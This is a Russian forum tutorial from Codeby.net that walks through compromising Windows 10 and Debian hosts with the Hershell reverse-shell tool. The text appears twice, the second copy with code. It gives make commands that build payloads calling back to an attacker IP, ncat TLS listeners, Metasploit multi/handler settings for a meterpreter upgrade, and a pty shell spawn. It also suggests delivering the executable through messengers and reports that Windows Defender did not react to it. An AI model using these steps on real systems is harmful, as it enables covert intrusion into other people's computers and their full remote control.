Приветствую гостей и участников Codeby.net. В этой статье поговорим о способах проникновения и получения контроля над удаленными ПК на ОС Linux и Windows.
Наша первоочередная цель – это заполучить надежный shell на нужном хосте, а потом уже думать над повышением привилегий и так далее.
И для ее осуществления я выбрал инструмент под названием Hershell, не громоздкая утилита, удобная в использовании, написанная на Go (Golang).
Он использует TLS для защиты соединений и обеспечивает функцию фиксации отпечатка пальца, открытого ключа сертификата, предотвращая перехват трафика.
Поддерживаемые ОС:
Очевидными плюсами, разработчики Hershell называют, простоту создания обратного шелла, поддержку множества операционных систем, и в отличие от meterpreter, незаметность для AV-решений.
Так, как инструмент написан на Go, мы можем кросс-компилировать исполняемый код для платформы, отличной от той, на которой исполняется сам кросс-компилятор.
Для своих экспериментов я выбрал в качестве атакующего хоста – OS Kali Linux 2018.4.
Атакуемые – Debian, Windows 10 Pro.
В Kali Linux по умолчанию Go не установлен, поэтому его необходимо скачать и установить вручную:
И добавить в переменную PATH, путь к установленному пакету (редактируем .bashrc)
Скачиваем себе Hershell со страницы разработчиков на Github.
Создание полезной нагрузки:
Для этого этапа нам потребуется указать значения нескольких переменных для Makefile.
После запуска на целевом хосте, вам будет предоставлена удаленная оболочка. Эта пользовательская интерактивная оболочка позволит вам выполнять системные команды через cmd.exe в Windows или /bin/sh на машинах UNIX.
Поддерживаются следующие специальные команды:
Прежде всего, вам нужно будет создать действительный сертификат:
Компиляция для Windows:
Компиляция для Linux:
Компиляция для Mac OS X:
Для обработки входящих соединений можно использовать различные инструменты, такие как:
В каталоге появляется файл hershell.exe, который нам необходимо доставить на целевой хост.
Сейчас популярны мессенджеры, проще всего использовать их, к примеру.
После скачивания, на него не обратил внимания Защитник Windows, и дал спокойно сохранить файл.
Теперь необходимо, настроиться на получение входящих подключений, я выбрал ncat, по умолчанию он отсутствует, но можно поставить из репозиториев.
Когда на целевом хосте выполниться файл hershell.exe, мы получим обратный шелл.
К слову, тот же Защитник Windows, был не против запуска файла и никакой реакции не последовало.
Как итог, полноценный шелл командной строки Windows:
Шелл Hershell, несомненно, хорош, но у него есть замечательная функция – инициация шелла meterpreter, проапгрейдим его:
Создаем meterpreter сессию из Hershell:
Итог, немного предсказуем:
А в процессах мы видим такую картину:
Стоит отметить, что процесс Hershell включает в себя meterpreter, при снятии этой задачи – погибает и сессия в msfconsole.
Дальнейшие действия зависят от ваших умений и фантазии.
C Windows’ами все понятно, теперь проверим как Hershell сработает на Debian, компилируем полезную нагрузку:
Активируем прием входящих подключений:
И запускаем полезную нагрузку на целевом хосте:
Шелл здесь довольно ограничен, поэтому хотелось бы, расширения возможностей, стандартной функции импорта meterpreter нет, но мы можем использовать wget для загрузки файла содержащего meterpreter.
С помощью msfvenom создадим полезную нагрузку:
И поместим ее на локальный сервер, для последующей загрузки на целевой хост:
Загружаем из Hershell на целевом хосте файл с нашего сервера:
Дальше Metasploit и все необходимые настройки для получения сессии:
Запускаем созданный и загруженный файл, на целевой ОС:
И пользуемся полноценным шеллом meterpreter:
В дополнение, чтобы полностью почувствовать себя дома, включаем шелл от текущего пользователя и импортируем удобную нам оболочку:
Все, это конец) Мысли и предложения жду в комментариях.
Специально для Cobeby.net.
Наша первоочередная цель – это заполучить надежный shell на нужном хосте, а потом уже думать над повышением привилегий и так далее.
И для ее осуществления я выбрал инструмент под названием Hershell, не громоздкая утилита, удобная в использовании, написанная на Go (Golang).
Он использует TLS для защиты соединений и обеспечивает функцию фиксации отпечатка пальца, открытого ключа сертификата, предотвращая перехват трафика.
Поддерживаемые ОС:
- Windows
- Linux
- Mac OS
- FreeBSD и её производные.*
Очевидными плюсами, разработчики Hershell называют, простоту создания обратного шелла, поддержку множества операционных систем, и в отличие от meterpreter, незаметность для AV-решений.
Так, как инструмент написан на Go, мы можем кросс-компилировать исполняемый код для платформы, отличной от той, на которой исполняется сам кросс-компилятор.
Для своих экспериментов я выбрал в качестве атакующего хоста – OS Kali Linux 2018.4.
Атакуемые – Debian, Windows 10 Pro.
В Kali Linux по умолчанию Go не установлен, поэтому его необходимо скачать и установить вручную:
Код:
wget https://dl.google.com/go/go1.11.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.11.linux-amd64.tar.gz
И добавить в переменную PATH, путь к установленному пакету (редактируем .bashrc)
Код:
export PATH="/usr/local/go/bin:$PATH"
Скачиваем себе Hershell со страницы разработчиков на Github.
Код:
git clone https://github.com/lesnuages/hershell
Создание полезной нагрузки:
Для этого этапа нам потребуется указать значения нескольких переменных для Makefile.
- GOOS: целевая ОС.
- GOARCH: целевая архитектура.
- LHOST: IP-адрес атакующего или доменное имя.
- LPORT: слушающий порт.
- depends: генерирует сертификат сервера (требуется для обратного шелла).
- windows32: создает 32-битные исполняемые файлы (PE 32 бит)
- windows64: создает 64-битные исполняемые файлы (PE 64 бит)
- linux32: создает исполняемый файл linux 32 бита (ELF 32 бит)
- linux64: создает исполняемый файл Linux 64 бит (ELF 64 бит)
- macos32: создает исполняемый файл mac os 32 бит (Mach-O)
- macos64: создает исполняемый файл mac os 64 бит (Mach-O)
После запуска на целевом хосте, вам будет предоставлена удаленная оболочка. Эта пользовательская интерактивная оболочка позволит вам выполнять системные команды через cmd.exe в Windows или /bin/sh на машинах UNIX.
Поддерживаются следующие специальные команды:
- run_shell: дает управление системной оболочкой (позволяя, например, изменять каталоги).
- inject <base64 shellcode>: вводит шеллкод (закодированный base64) в память этого же процесса и выполняет его.
- meterpreter [tcp | http | https] IP: PORT: подключается к multi/handler, чтобы получить обратный tcp, http или https meterpreter stage2 из metasploit и выполнить шеллкод в памяти (только в Windows).
- exit: выход.
Прежде всего, вам нужно будет создать действительный сертификат:
Код:
make depends
Компиляция для Windows:
Код:
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234
Компиляция для Linux:
Код:
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234
Компиляция для Mac OS X:
Код:
$ make macos LHOST=192.168.0.12 LPORT=1234
Для обработки входящих соединений можно использовать различные инструменты, такие как:
- socat
- ncat
- openssl server module
- metasploit multi handler (с python/shell_reverse_tcp_ssl payload)
Код:
make windows64 LHOST=192.168.0.101 LPORT=4444
В каталоге появляется файл hershell.exe, который нам необходимо доставить на целевой хост.
Сейчас популярны мессенджеры, проще всего использовать их, к примеру.
После скачивания, на него не обратил внимания Защитник Windows, и дал спокойно сохранить файл.
Теперь необходимо, настроиться на получение входящих подключений, я выбрал ncat, по умолчанию он отсутствует, но можно поставить из репозиториев.
Код:
ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 4444
Когда на целевом хосте выполниться файл hershell.exe, мы получим обратный шелл.
К слову, тот же Защитник Windows, был не против запуска файла и никакой реакции не последовало.
Как итог, полноценный шелл командной строки Windows:
Шелл Hershell, несомненно, хорош, но у него есть замечательная функция – инициация шелла meterpreter, проапгрейдим его:
Код:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 192.168.0.101
set LPORT 4445
set HANDLERSSLCERT /home/Pentest/hershell/server.pem
exploit
Создаем meterpreter сессию из Hershell:
Код:
meterpreter https 192.168.0.101:4445
Итог, немного предсказуем:
А в процессах мы видим такую картину:
Стоит отметить, что процесс Hershell включает в себя meterpreter, при снятии этой задачи – погибает и сессия в msfconsole.
Дальнейшие действия зависят от ваших умений и фантазии.
C Windows’ами все понятно, теперь проверим как Hershell сработает на Debian, компилируем полезную нагрузку:
Код:
make linux64 LHOST=192.168.0.101 LPORT=4444
Активируем прием входящих подключений:
Код:
ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 4444
И запускаем полезную нагрузку на целевом хосте:
Шелл здесь довольно ограничен, поэтому хотелось бы, расширения возможностей, стандартной функции импорта meterpreter нет, но мы можем использовать wget для загрузки файла содержащего meterpreter.
С помощью msfvenom создадим полезную нагрузку:
И поместим ее на локальный сервер, для последующей загрузки на целевой хост:
Загружаем из Hershell на целевом хосте файл с нашего сервера:
Дальше Metasploit и все необходимые настройки для получения сессии:
Запускаем созданный и загруженный файл, на целевой ОС:
И пользуемся полноценным шеллом meterpreter:
В дополнение, чтобы полностью почувствовать себя дома, включаем шелл от текущего пользователя и импортируем удобную нам оболочку:
Код:
shell
python -c 'import pty;pty.spawn("/bin/bash")'
Все, это конец) Мысли и предложения жду в комментариях.
Специально для Cobeby.net.